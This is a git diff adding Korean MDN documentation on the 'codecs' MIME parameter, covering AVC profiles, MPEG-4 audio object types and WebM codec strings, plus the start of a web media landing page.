+   <th scope="col">넘버(Hex)</th>
+   <th scope="col">제약 (byte)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><strong>Constrained Baseline Profile (CBP)</strong><br>
+    CBP는 리소스가 제약점이 있거나 재생이 원활하지 못해 발생하는 이상 요소들을 최소화 해야 하는 경우 주요한 해결책입니다.</td>
+   <td><code>42</code></td>
+   <td><code>40</code></td>
+  </tr>
+  <tr>
+   <td><strong>Baseline Profile (BP)</strong><br>
+    CBP와 유사하나 데이터 손실 방지와 복구 능력을 향상시킨 프로파일입니다.  CBP가 도입된 이후에는 이전만큼 널리 사용하고 있지는 않습니다. CBP 스트림은 모두 BP 스트림으로 간주할 수도 있습니다.</td>
+   <td><code>42</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>Extended Profile (XP)</strong><br>
+    고효율 압축과 네트워크 전송시의 데이터 안정성, 스트림 스위칭을 고려한 프로파일입니다.</td>
+   <td><code>58</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>Main Profile (MP)</strong><br>
+    MPEG-4 포맷으로 전송하는 디지털 표준 TV 방송에서 사용하는 프로파일입니다. 고선명 TV(HDV)에서는 <em>사용하지 않습니다</em>. 2004년 —HDTV에서 사용하기 위해— High Profile이 추가된 이후 중요도가 감소하였습니다.</td>
+   <td><code>4D</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>High Profile (HiP)</strong><br>
+    현재로써는 전파방송과 매체기반 HD 비디오에서 사용하는 주요 프로파일입니다. HD TV 방송과 블루레이 미디어에서 사용하고 있습니다.</td>
+   <td><code>64</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>Progressive High Profile (PHiP)</strong><br>
+    필드 코딩 지원을 제거한 High Profile입니다.</td>
+   <td><code>64</code></td>
+   <td><code>08</code></td>
+  </tr>
+  <tr>
+   <td><strong>Constrained High Profile</strong><br>
+    양방향 예측 슬라이스("B-slices") 지원을 제거한 PHiP입니다.</td>
+   <td><code>64</code></td>
+   <td><code>0C</code></td>
+  </tr>
+  <tr>
+   <td><strong>High 10 Profile (Hi10P)</strong><br>
+    10 비트 컬러 모드 지원을 제거한 High Profile입니다.</td>
+   <td><code>6E</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>High 4:2:2 Profile (Hi422P)</strong><br>
+    Hi10P에 4:2:2 크로마 서브샘플링과 최대 10비트 컬러 모드 지원을 추가한 프로파일입니다.</td>
+   <td><code>7A</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>High 4:4:4 Predictive Profile (Hi444PP)</strong><br>
+    Hi422P 및 Hi444PP에 4:4:4 크로마 서브샘플링(색차 샘플링 소거 없음)을 추가 지원한 프로파일입니다. 또한 최대 14비트 컬러 샘플과 효율적인 무손실 지역 코딩을 추가하였습니다. 각 프레임을 3개의 분리된 컬러 평면(각 평면은 모노크롬 프레임형태로 저장됩니다)으로 인코딩할 수 있는 옵션입니다.</td>
+   <td><code>F4</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>High 10 Intra Profile</strong><br>
+    all-intra-frame에 High 10 제약이 걸린 프로파일입니다. 전문가 용 앱에 주로 쓰입니다.</td>
+   <td><code>6E</code></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <td><strong>High 4:2:2 Intra Profile</strong><br>
+    all-intra-frame에 Hi422를 적용한 프로파일입니다.</td>
+   <td><code>7A</code></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <td><strong>High 4:4:4 Intra Profile</strong><br>
+    all-intra-frame에 High 4:4:4 제약을 건 프로파일입니다.</td>
+   <td><code>F4</code></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <td><strong>CAVLC 4:4:4 Intra Profile</strong><br>
+    all-intra-frame에 High 4:4:4 제약, CAVLC 엔트로피 코딩만 사용하는 프로파일입니다.</td>
+   <td><code>44</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>Scalable Baseline Profile</strong><br>
+    화상 회의, 감시 카메라 및 모바일 장치에서 쓰이는 프로파일로, {{interwiki("wikipedia", "SVC")}} Baseline Profile은 AVC의 Constrained Baseline profile에 기반하고 있습니다. 스트림의 베이스 레이어는 고품질로 제공되면서, 제약이 걸린 환경에서 대안이 될 수 있는 서브스트림을 다수 제공하는 방식입니다. 서브스트림은 해상도 감소, 낮은 프레임레이트, 압축률 저하 등을 조합하여 구성합니다.</td>
+   <td><code>53</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>Scalable Constrained Baseline Profile</strong><br>
+    실시간 양방향 대화형 어플리케이션에서 주요 사용하는 프로파일입니다. WebRTC에서 아직 정식으로 지원하지는 않지만,  <a href="https://github.com/w3c/webrtc-svc">SVC를 활성화</a>하여 WebRTC AP 개발 모드에서 사용해 볼 수 있습니다.</td>
+   <td><code>53</code></td>
+   <td><code>04</code></td>
+  </tr>
+  <tr>
+   <td><strong>Scalable High Profile</strong><br>
+    방송 및 스트리밍 어플리케이션에서 주로 사용합니다. 베이스(또는 최고 품질) 레이어에는 AVC High Profile이 반드시 포함되어야 합니다.</td>
+   <td><code>56</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>Scalable Constrained High Profile</strong><br>
+    실시간 통신을 위한 Scalable High Profile의 서브셋 프로파일입니다.</td>
+   <td><code>56</code></td>
+   <td><code>04</code></td>
+  </tr>
+  <tr>
+   <td><strong>Scalable High Intra Profile</strong><br>
+    비디오 제작 어플리케이션을 위한 all-intra-frame 프로파일입니다.</td>
+   <td><code>56</code></td>
+   <td><code>20</code></td>
+  </tr>
+  <tr>
+   <td><strong>Stereo High Profile</strong><br>
+    양안 렌더링을 통한 스테레오스코픽(stereoscopic) 비디오를 지원하는 프로파일입니다. 양안 영상이 아닌 경우 High profile과 동일합니다.</td>
+   <td><code>80</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>Multiview High Profile</strong><br>
+    시간 및 MVC inter-view 예측을 통한 2개 이상의 뷰를 지원하는 프로파일입니다. 필드 픽쳐 또는 매크로블록-어댑티브한 frame-field 코딩을 <em>지원하지 않습니다</em>.</td>
+   <td><code>76</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>Multiview Depth High Profile</strong><br>
+    High Profile에 기반하며 메인 서브스트림이 반드시 붙어야 합니다. 나머지 서브스트림들은 Stereo High Profile과 매칭되어야 합니다.</td>
+   <td><code>8A</code></td>
+   <td><code>00</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="MPEG-4_audio">MPEG-4 audio</h4>
+
+<p><code>codecs</code> 목록의 값 항목이 <code>mp4a</code>로 시작한다면, 문법은 아래와 같아야 합니다:</p>
+
+<pre class="notranslate">mp4a.oo[.A]</pre>
+
+<p><code>oo</code> 는 두자리 16진수 Object Type Indication으로 미디어에 사용된 코덱 클래스를 표시합니다. OTI 값은 <a href="http://mp4ra.org/">MP4 Registration Authority</a>에서 규정하고 있으며 <a href="http://mp4ra.org/#/object_types">list of the possible OTI values</a>에서 가용한 값을 확인할 수 있습니다. 특수한 값인 <code>40</code>; 이는 미디어가 MPEG-4 audio(ISO/IEC 14496 Part 3)임을 나타냅니다. 조금 더 자세히 말하자면, 세번째 컴포넌트—Audio Object Type—은 OTI <code>40</code> 을 MPEG-4의 특정 하위 타입으로 범위를 좁히기 위해 추가하였습니다.</p>
+
+<p>Audio Object Type는 두자리 <em>10진수</em>로 이루어져 있습니다(<code>codecs</code> 파라미터의 다른 값은 대부분 16진수). 예를들어 MPEG-4 AAC-LC의 오디오 오브젝트 타입은 숫자 2이므로 AAC-LC의 전체 <code>codecs</code> 표현 값은 <code>mp4a.40.2</code> 입니다.</p>
+
+<p>그러므로 오디오 오브젝트 타입이 17인 ER AAC LC의 전체 <code>codecs</code> 값은 <code>mp4a.40.17</code> 입니다. 한자리 숫자는 한자리로 표현하거나(폭넓게 호환되므로 최선) 앞에 0을 붙여 두자리로 표현할 수 있습니다. <code>mp4a.40.02</code> 처럼요.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> 원래 Audio Object Type은 한자리 숫자로 규정되었었습니다. 시간이 지나면서 표준을 확장하였고 현재는 한자리 또는 두자리 숫자입니다. 10 미만의 값 앞에 <code>0</code> 을 붙이는건 필수가 아닙니다. 오래된 MPEG-4 코덱 구현체들은 두자리 숫자를 지원하지 못할 수도 있습니다. 따라서 호환성을 높이기 위해선 한자리로 표현해야 합니다.</p>
+</div>
+
+<p>Audio Object Types는 ISO/IEC 14496-3 subpart 1, section 1.5.1에서 정의하고 있습니다. 아래 표는 Audio Object Type 기본 목록과 지원하는 프로필입니다. MPEG-4 audio type의 내부에 대해서 더 알고 싶다면 레퍼런스를 참조하세요.</p>
+
+<table class="standard-table">
+ <caption>MPEG-4 audio object types</caption>
+ <thead>
+  <tr>
+   <th scope="col">ID</th>
+   <th scope="col">Audio Object Type</th>
+   <th scope="col">Profile support</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>0</code></td>
+   <td>NULL</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>1</code></td>
+   <td>AAC Main</td>
+   <td>Main</td>
+  </tr>
+  <tr>
+   <td><code>2</code></td>
+   <td>AAC LC (Low Complexity)</td>
+   <td>Main, Scalable, HQ, LD v2, AAC, HE-AAC, HE-AAC v2</td>
+  </tr>
+  <tr>
+   <td><code>3</code></td>
+   <td>AAC SSR (Scalable Sampling Rate)</td>
+   <td>Main</td>
+  </tr>
+  <tr>
+   <td><code>4</code></td>
+   <td>AAC LTP (Long Term Prediction)</td>
+   <td>Main, Scalable, HQ</td>
+  </tr>
+  <tr>
+   <td><code>5</code></td>
+   <td>SBR (Spectral Band Replication)</td>
+   <td>HE-AAC, HE-AAC v2</td>
+  </tr>
+  <tr>
+   <td><code>6</code></td>
+   <td>AAC Scalable</td>
+   <td>Main, Scalable, HQ</td>
+  </tr>
+  <tr>
+   <td><code>7</code></td>
+   <td>TwinVQ (Coding for ultra-low bit rates)</td>
+   <td>Main, Scalable</td>
+  </tr>
+  <tr>
+   <td><code>8</code></td>
+   <td>CELP (Code-Excited Linear Prediction)</td>
+   <td>Main, Scalable, Speech, HQ, LD</td>
+  </tr>
+  <tr>
+   <td><code>9</code></td>
+   <td>HVXC (Harmonic Vector Excitation Coding)</td>
+   <td>Main, Scalable, Speech, LD</td>
+  </tr>
+  <tr>
+   <td><code>10</code> – <code>11</code></td>
+   <td><em>Reserved</em></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>12</code></td>
+   <td>TTSI (Text to Speech Interface)</td>
+   <td>Main, Scalable, Speech, Synthetic, LD</td>
+  </tr>
+  <tr>
+   <td><code>13</code></td>
+   <td>Main Synthetic</td>
+   <td>Main, Synthetic</td>
+  </tr>
+  <tr>
+   <td><code>14</code></td>
+   <td>Wavetable Synthesis</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>15</code></td>
+   <td>General MIDI</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>16</code></td>
+   <td>Algorithmic Synthesis and Audio Effects</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>17</code></td>
+   <td>ER AAC LC (Error Resilient AAC Low-Complexity)</td>
+   <td>HQ, Mobile Internetworking</td>
+  </tr>
+  <tr>
+   <td><code>18</code></td>
+   <td><em>Reserved</em></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>19</code></td>
+   <td>ER AAC LTP (Error Resilient AAC Long Term Prediction)</td>
+   <td>HQ</td>
+  </tr>
+  <tr>
+   <td><code>20</code></td>
+   <td>ER AAC Scalable (Error Resilient AAC Scalable)</td>
+   <td>Mobile Internetworking</td>
+  </tr>
+  <tr>
+   <td><code>21</code></td>
+   <td>ER TwinVQ (Error Resilient TwinVQ)</td>
+   <td>Mobile Internetworking</td>
+  </tr>
+  <tr>
+   <td><code>22</code></td>
+   <td>ER BSAC (Error Reslient Bit-Sliced Arithmetic Coding)</td>
+   <td>Mobile Internetworking</td>
+  </tr>
+  <tr>
+   <td><code>23</code></td>
+   <td>ER AAC LD (Error Resilient AAC Low-Delay; used for two-way communiation)</td>
+   <td>LD, Mobile Internetworking</td>
+  </tr>
+  <tr>
+   <td><code>24</code></td>
+   <td>ER CELP (Error Resilient Code-Excited Linear Prediction)</td>
+   <td>HQ, LD</td>
+  </tr>
+  <tr>
+   <td><code>25</code></td>
+   <td>ER HVXC (Error Resilient Harmonic Vector Excitation Coding)</td>
+   <td>LD</td>
+  </tr>
+  <tr>
+   <td><code>26</code></td>
+   <td>ER HILN (Error Resilient Harmonic and Individual Line plus Noise)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>27</code></td>
+   <td>ER Parametric (Error Resilient Parametric)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>28</code></td>
+   <td>SSC (Sinusoidal Coding)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>29</code></td>
+   <td>PS (Parametric Stereo)</td>
+   <td>HE-AAC v2</td>
+  </tr>
+  <tr>
+   <td><code>30</code></td>
+   <td>MPEG Surround</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>31</code></td>
+   <td><em>Escape</em></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>32</code></td>
+   <td>MPEG-1 Layer-1</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>33</code></td>
+   <td>MPEG-1 Layer-2 (MP2)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>34</code></td>
+   <td>MPEG-1 Layer-3 (MP3)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>35</code></td>
+   <td>DST (Direct Stream Transfer)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>36</code></td>
+   <td>ALS (Audio Lossless)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>37</code></td>
+   <td>SLS (Scalable Lossless)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>38</code></td>
+   <td>SLS Non-core (Scalable Lossless Non-core)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>39</code></td>
+   <td>ER AAC ELD (Error Resilient AAC Enhanced Low Delay)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>40</code></td>
+   <td>SMR Simple (Symbolic Music Representation Simple)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>41</code></td>
+   <td>SMR Main (Symbolic Music Representation Main)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>42</code></td>
+   <td><em>Reserved</em></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>43</code></td>
+   <td>SAOC (Spatial Audio Object Coding)<sup><a href="#audio-object-types-foot-1">[1]</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>44</code></td>
+   <td>LD MPEG Surround (Low Delay MPEG Surround)<sup><a href="#audio-object-types-foot-1">[1]</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>45</code> and up</td>
+   <td><em>Reserved</em></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a name="audio-object-types-foot-1">[1]</a> SAOC and LD MPEG Surround are defined in <a href="https://www.iso.org/standard/54838.html">ISO/IEC 14496-3:2009/Amd.2:2010(E)</a>.</p>
+
+<h3 id="WebM">WebM</h3>
+
+<p>WebM <code>codecs</code> 파라미터의 기본 형은 4개의 WebM 코덱 중 하나 이상의 이름을 콤마로 구분합니다. 아래 표는 예시입니다.:</p>
+
+<table class="standard-table">
+ <caption>WebM MIME <code>codecs</code> 파라미터 예시</caption>
+ <thead>
+  <tr>
+   <th scope="col">MIME 타입</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>video/webm;codecs="vp8"</code></td>
+   <td>VP8 코덱 WebM 비디오; 오디오 미정의.</td>
+  </tr>
+  <tr>
+   <td><code>video/webm;codecs="vp9"</code></td>
+   <td>VP9 코덱 WebM 비디오.</td>
+  </tr>
+  <tr>
+   <td><code>audio/webm;codecs="vorbis"</code></td>
+   <td>Vorbis 오디오 WebM 파일.</td>
+  </tr>
+  <tr>
+   <td><code>audio/webm;codecs="opus"</code></td>
+   <td>Opus 오디오 WebM 파일.</td>
+  </tr>
+  <tr>
+   <td><code>video/webm;codecs="vp8,vorbis"</code></td>
+   <td>VP8 비디오 코덱, Vorbis 오디오 코덱 포함된 WebM 파일.</td>
+  </tr>
+  <tr>
+   <td><code>video/webm;codecs="vp9,opus"</code></td>
+   <td>A WebM container with VP9 video and Opus audio.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>vp8.0</code>, <code>vp9.0</code> 문자열도 가능하지만, 비추천합니다.</p>
+
+<h4 id="ISO_Base_Media_File_Format_문법">ISO Base Media File Format 문법</h4>
+
+<p><code>codecs</code> 파라미터를 표준화하고 강력한 포맷으로 발전시키기 위해, WebM은 <a href="#ISO-BMFF">ISO Base Media File Format</a> 에 정의된 문법에 따라 <em>비디오</em> 콘텐츠를 기술하기 시작했습니다. 본 문법은 <a href="https://www.webmproject.org/vp9/mp4">VP Codec ISO Media File Format Binding</a>의, <a href="https://www.webmproject.org/vp9/mp4/#codecs-parameter-string">Codecs Parameter String</a> 섹션에 정의되어 있습니다. 오디오 코덱은 <code>vorbis</code> 또는 <code>opus</code>로 표시되어 있습니다.</p>
+
+<p><code>codecs</code> 파리미터는 사용한 코덱을 나타내는 4자리 문자로 시작하고 온점(<code>.</code>)으로 구분된 2자리 숫자가 반복됩니다.</p>
+
+<pre class="notranslate">cccc.PP.LL.DD.CC[.cp[.tc[.mc[.FF]]]]</pre>
+
+<p>처음부터 5개 요소는 필수이며; <code>cp</code> (color primaries) 부터는 옵션입니다.; 이후로는 어디서든 끊을 수 있습니다. 각 요소는 아래 표에 설명하고 있으며 예시가 첨부되어 있습니다.</p>
+
+<table class="standard-table">
+ <caption>WebM codecs parameter components</caption>
+ <thead>
+  <tr>
+   <th scope="col">Component</th>
+   <th scope="col">Details</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>cccc</code></td>
+   <td>
+    <p>4자리 코드로 사용 가능한 코덱을 명시합니다. 가능한 값은 아래와 같습니다:</p>
+
+    <table class="standard-table">
+     <caption>Web-M 지원 코덱 4자리 코드</caption>
+     <thead>
+      <tr>
+       <th scope="col">Four-character code</th>
+       <th scope="col">Codec</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td><code>vp08</code></td>
+       <td>VP8</td>
+      </tr>
+      <tr>
+       <td><code>vp09</code></td>
+       <td>VP9</td>
+      </tr>
+      <tr>
+       <td><code>vp10</code></td>
+       <td>VP10</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td><code>PP</code></td>
+   <td>
+    <p>2자리 숫자 프로파일 코드. 필요하다면 두자리를 맞추기 위해 앞에 0을 추가합니다.</p>
+
+    <table class="standard-table">
+     <caption>WebM 프로파일 숫자</caption>
+     <thead>
+      <tr>
+       <th scope="col">프로파일</th>
+       <th scope="col">설명</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td><code>00</code></td>
+       <td>크로마 서브샘플링 4:2:0(수직/수평 서브샘플링)만 허용. 색상 컴포넌트 당 8비트만 허용.</td>
+      </tr>
+      <tr>
+       <td><code>01</code></td>
+       <td>크로마 서브샘플링 전체 허용. 색상 컴포넌트 당 8비트만 허용.</td>
+      </tr>
+      <tr>
+       <td><code>02</code></td>
+       <td>크로마 서브샘플링 4:2:0만 허용. 색상 컴포넌트 당 8, 10, 12비트 허용.</td>
+      </tr>
+      <tr>
+       <td><code>03</code></td>
+       <td>크로마 서브샘플링 전체 허용. 색상 컴포넌트 당 8, 10, 12비트 허용</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td><code>LL</code></td>
+   <td>두 자리 숫자 레벨 코드. 레벨 넘버는 고정 소수점 표기로 첫번째 숫자가 1의 자리, 두번째 숫자가 소수점 미만 첫번째 자리를 의미합니다. 예를 들어 레벨 3은 <code>30</code> 레벨 6.1은 <code>61</code>.</td>
+  </tr>
+  <tr>
+   <td><code>DD</code></td>
+   <td>휘도, 색상 컴포넌트의 비트 심도를 표기합니다. 가능한 값은 8, 10, 12입니다.</td>
+  </tr>
+  <tr>
+   <td><code>CC</code></td>
+   <td>
+    <p>크로마 서브샘플링 포맷을 2자리 숫자로 표기합니다. 가능한 값은 아래 표에 있습니다; 자세한 내용은 {{SectionOnPage("en-US/docs/Web/Media/Formats/Video_concepts", "Chroma subsampling")}} 를 참조하세요.</p>
+
+    <table class="standard-table">
+     <caption>WebM 크로마 서브샘플링 구분자</caption>
+     <thead>
+      <tr>
+       <th scope="col">값</th>
+       <th scope="col">크로마 서브샘플링 포맷</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td><code>00</code></td>
+       <td>4:2:0 with the chroma samples sited interstitially between the pixels</td>
+      </tr>
+      <tr>
+       <td><code>01</code></td>
+       <td>4:2:0 chroma subsampling with the samples colocated with luma (0, 0)</td>
+      </tr>
+      <tr>
+       <td><code>02</code></td>
+       <td>4:2:2 chroma subsampling (4 out of each 4 horizontal pixels' luminance are used)</td>
+      </tr>
+      <tr>
+       <td><code>03</code></td>
+       <td>4:4:4 chroma subsampling (every pixel's luminance and chrominance are both retained)</td>
+      </tr>
+      <tr>
+       <td><code>04</code></td>
+       <td><em>Reserved</em></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td><code>cp</code></td>
+   <td>
+    <p><a href="https://www.itu.int/rec/T-REC-H.273/en">ISO/IEC 23001-8:2016</a> 표준 Section 8.1에 명시되어있는 색 공간을 두자리 숫자로 표현합니다. 본 요소와 이후 요소는 전부 비필수값입니다.</p>
+
+    <p>Color primaries 요소에 가능한 값은 아래와 같습니다.:</p>
+
+    <table class="standard-table">
+     <caption>ISO/IEC Color primary identifiers</caption>
+     <thead>
+      <tr>
+       <th scope="col">Value</th>
+       <th scope="col">Details</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td><code>00</code></td>
+       <td><em>ITU과 ISO/IEC</em>에 의해 예약됨</td>
+      </tr>
+      <tr>
+       <td><code>01</code></td>
+       <td>고선명 화질(HD) TV 표준인 BT.709, sRGB, sYCC. BT.709; sRGB는 컴퓨터 모니터에서 쓰이는 가장 일반적인 색 공간입니다. Broadcast BT.709는 8비트 색 심도를 사용하여 16(Black)부터 235(White)까지 리갈 레인지를 표현합니다.</td>
+      </tr>
+      <tr>
+       <td><code>02</code></td>
+       <td>알 수 없거나 application에서 활용하기 위해 사용합니다.</td>
+      </tr>
+      <tr>
+       <td><code>03</code></td>
+       <td><em>ITU과 ISO/IEC</em>에 의해 예약됨</td>
+      </tr>
+      <tr>
+       <td><code>04</code></td>
+       <td>BT.470 System M, NTSC (미국 내 표준 화질 TV 표준)</td>
+      </tr>
+      <tr>
+       <td><code>05</code></td>
+       <td>BT.470 System B, G; BT.601; BT.1358 625; BT.1700 625 PAL and 625 SECAM</td>
+      </tr>
+      <tr>
+       <td><code>06</code></td>
+       <td>BT.601 525; BT.1358 525 or 625; BT.1700 NTSC; SMPTE 170M. <em><code>7</code>과 동일함.</em></td>
+      </tr>
+      <tr>
+       <td><code>70</code></td>
+       <td>{{Glossary("SMPTE")}} 240M (historical). <em>Functionally identical to <code>6</code>과 동일함.</em></td>
+      </tr>
+      <tr>
+       <td><code>08</code></td>
+       <td>일반 필름</td>
+      </tr>
+      <tr>
+       <td><code>09</code></td>
+       <td>BT.2020; BT.2100. UHD (4K) High Dynamic Range (HDR) 영상에서 사용 매우 넓은 색 표현력과 10비트 12비트 색상 컴포넌트 지원.</td>
+      </tr>
+      <tr>
+       <td><code>10</code></td>
+       <td>SMPTE ST 428 (D-Cinema Distribution Master: Image characteristics). DCDM을 위한 비압축 형식.</td>
+      </tr>
+      <tr>
+       <td><code>11</code></td>
+       <td>SMPTE RP 431 (D-Cinema Quality: Reference projector and environment). 필름 표현의 지속적 경험을 위한 레퍼런스 프로젝터와 환경 조건에 대해 기술.</td>
+      </tr>
+      <tr>
+       <td><code>12</code></td>
+       <td>SMPTE EG 432 (Digital Source Processing: Color Processing for D-Cinema). 디지털 영화를 위한 색신호 디코딩의 기술적 가이드라인.</td>
+      </tr>
+      <tr>
+       <td><code>13</code> – <code>21</code></td>
+       <td><em>ITU과 ISO/IEC</em>에 의해 예약됨</td>
+      </tr>
+      <tr>
+       <td><code>22</code></td>
+       <td>EBU Tech 3213-E</td>
+      </tr>
+      <tr>
+       <td><code>23</code> – <code>255</code></td>
+       <td><em>ITU과 ISO/IEC</em>에 의해 예약됨</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td><code>tc</code></td>
+   <td>비디오의 <code>transferCharacteristics</code> 값을 2자리 숫자로 표현. This value is from Section 8.2 of <a href="https://www.itu.int/rec/T-REC-H.273/en">ISO/IEC 23001-8:2016</a> Section 8.2에 기술되어 있으며 디코딩된 색상을 렌더링 타겟에 맞출 때 transfer characteristics 을 정의합니다.</td>
+  </tr>
+  <tr>
+   <td><code>mc</code></td>
+   <td><code>matrixCoefficients</code> 속성 값을 2자리 숫자로 표현 <a href="https://www.itu.int/rec/T-REC-H.273/en">ISO/IEC 23001-8:2016</a> 스펙 Section 8.3 표에서 기술. 이 값은 native red, blue, green 색상을 휘도, 색차 신호에 매핑하는데 사용합니다. 이 계수들이 방정식에서 어떻게 사용되는지 같은 섹션에서 확인할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <td><code>FF</code></td>
+   <td>색상 컴포넌트의 검정 수준과 색상 범위를 리갈 레인지로 제한할지 여부를 표시합니다. 예를들어 8비트 색상의 경우 리갈 레인지는 16~235입니다. 값이 <code>00</code> 인 경우 강제로 제한하며,  <code>01</code> 인 경우 결과물의 색상이 컬러 시스템의 범위를 벗어나더라도 각 컴포넌트 별로 가능한 풀 레인지 값을 허용합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="WebM_media_type_예시">WebM media type 예시</h4>
+
+<dl>
+ <dt><code>video/webm;codecs="vp08.00.41.08,vorbis"</code></dt>
+ <dd>VP8 비디오, 프로파일 0 레벨 4.1, 8-bit YUV 4:2:0 크로마 서브샘플링, BT.709 색 공간, 변환 함수, 행렬 계수, 휘도 색차 값은 ("studio") 리갈 레인지로 인코딩 됨. 오디오는 Vorbis.</dd>
+ <dt><code>video/webm;codecs="vp09.02.10.10.01.09.16.09.01,opus"</code></dt>
+ <dd>VP9 비디오, 프로파일 2 레벨?1.0, 10-bit YUV 4:2:0 크로마 서브샘플링, BT.2020 색 공간, ST 2084 EOTF (HDR SMPTE), BT.2020 비상수 휘도 색상 행렬, 풀 레인지 휘도 색차 인코딩non-constant luminance color matrix, and full-range chroma and luma encoding. 오디오는 Opus 포맷.</dd>
+</dl>
+
+<h2 id="codecs_파라미터_사용하기">codecs 파라미터 사용하기</h2>
+
+<p><code>codecs</code> 파라미터를 여러 상황에서 사용할 수 있습니다. 먼저 {{HTMLElement("audio")}} , {{HTMLElement("video")}} 엘레먼트 생성 시 {{HTMLElement("source")}} 엘레먼트에 사용하여 브라우저로 하여금 사용할 미디어 포맷에 대한 옵션을 제공하는거죠..</p>
+
+<p>{{domxref("MediaSource.isTypeSupported()")}} 메소드에 MIME 타입을 명시적으로 전달하는데 사용할 수도 있습니다.; 이 메소드는 현재 장치에서 주어진 미디어 포맷을 재생할 수 있는지 여부를 불리언 값으로 반환합니다.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Media">Web media technologies</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats">Guide to media types and formats on the web</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Audio_codecs">Guide to audio codecs used on the web</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Video_codecs">Guide to video codecs used on the web</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">Codecs used by WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/media/index.html b/files/ko/web/media/index.html
new file mode 100644
index 0000000000..207ef43d3d
--- /dev/null
+++ b/files/ko/web/media/index.html
@@ -0,0 +1,81 @@
+---
+title: Web media technologies
+slug: Web/Media
+tags:
+  - Audio
+  - Landing
+  - Media
+  - NeedsTranslation
+  - TopicStub
+  - Video
+  - Web
+translation_of: Web/Media
+---
+<p><span class="seoSummary">Over the years, the Web's ability to present, create, and manage audio, video, and other media has grown at an increasing pace. Today, there are a large number of APIs available, as well as HTML elements, DOM interfaces, and other features that make it possible to not only perform these tasks, but use media in tandem with other technologies to do truly remarkable things. This article lists the various APIs with links to documentation you may find helpful in mastering them.</span></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="References">References</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<p>These articles cover HTML features for media developers.</p>
+
+<dl>
+ <dt>{{HTMLElement("audio")}}</dt>
+ <dd>The <code>&lt;audio&gt;</code> element is used to play audio in a Web context. These can be used invisibly as a destination for more complex media, or with visible controls for user-controlled playback of audio files. Accessible from JavaScript as {{domxref("HTMLAudioElement")}} objects.</dd>
+ <dt>{{HTMLElement("video")}}</dt>
